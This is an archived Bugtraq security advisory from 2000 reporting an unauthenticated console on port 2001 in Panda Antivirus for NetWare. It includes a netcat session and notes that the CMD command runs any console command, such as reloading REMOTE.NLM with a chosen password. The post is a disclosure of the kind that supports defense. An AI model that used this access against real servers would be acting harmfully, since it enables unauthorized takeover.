[15382] in bugtraq
Infosec.20000617.panda.a
daemon@ATHENA.MIT.EDU (Ian Vitek)
Mon Jun 19 10:52:19 2000
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Message-Id: <41256901.003D5E29.00@mailgw.backupcentralen.se>
Date: Sat, 17 Jun 2000 12:10:17 +0100
Reply-To: ian.vitek@INFOSEC.SE
From: Ian Vitek <ian.vitek@INFOSEC.SE>
To: BUGTRAQ@SECURITYFOCUS.COM
Infosec Security Vulnerability Report
No: Infosec.20000617.panda.a
============================
Vulnerability Summary
---------------------
Problem: Panda Antivirus has an open console at port 2001
Threat: Remotely run any command on a Netware console
Platform: Confirmed on Novell Netware
Solution: The fix is included on the June version of the GVI disk
Vulnerability Description
-------------------------
Customers to Panda Antivirus may have a Panda Antivirus console open on port
2001. This Panda console is open to everyone who has access to this port. You
are not prompted for authentication.
Example:
foo:/# nc server 2001
Panda Antivirus NetWare Servers
Copyright 1998(c) Panda Software
Version 2.00
Last upgrade: 10/04/2000
FS1 (#1): help
ANALYZE CMD HELP LOAD
RELOADCFG UPDATE UNLOAD VER
FS1 (#1): help cmd
Make a console command of Netware
CMD [Command NetWare]
Example: CMD LOAD MONITOR
Any Netware command can be executed with the CMD command (i.e. unloading and
loading REMOTE.NLM with a password of your choice.)
Solution
--------
PCM International says that they have fixed the hole on the June version of the
GVI disk (labeled M6/A00)
Additional Information
----------------------
Only the Netware version has been confirmed. Infosec have not had the
opportunity to test the Windows version of Panda Antivirus.
//Ian Vitek
ian.vitek@infosec.se
-------------------------------
Infosec is a Swedish based tiger team that has worked with computer-related
security since 1982 and done network penetration tests and technical audits
since 1996. Infosec welcomes its newcomers David, Rikard and Anders. Infosec is
now hiring in Sweden and the United Kingdom. Call Christer Stafferod on
+46-(0)8-6621070 ( mailto:christer.stafferod@infosec.se ) for more information.
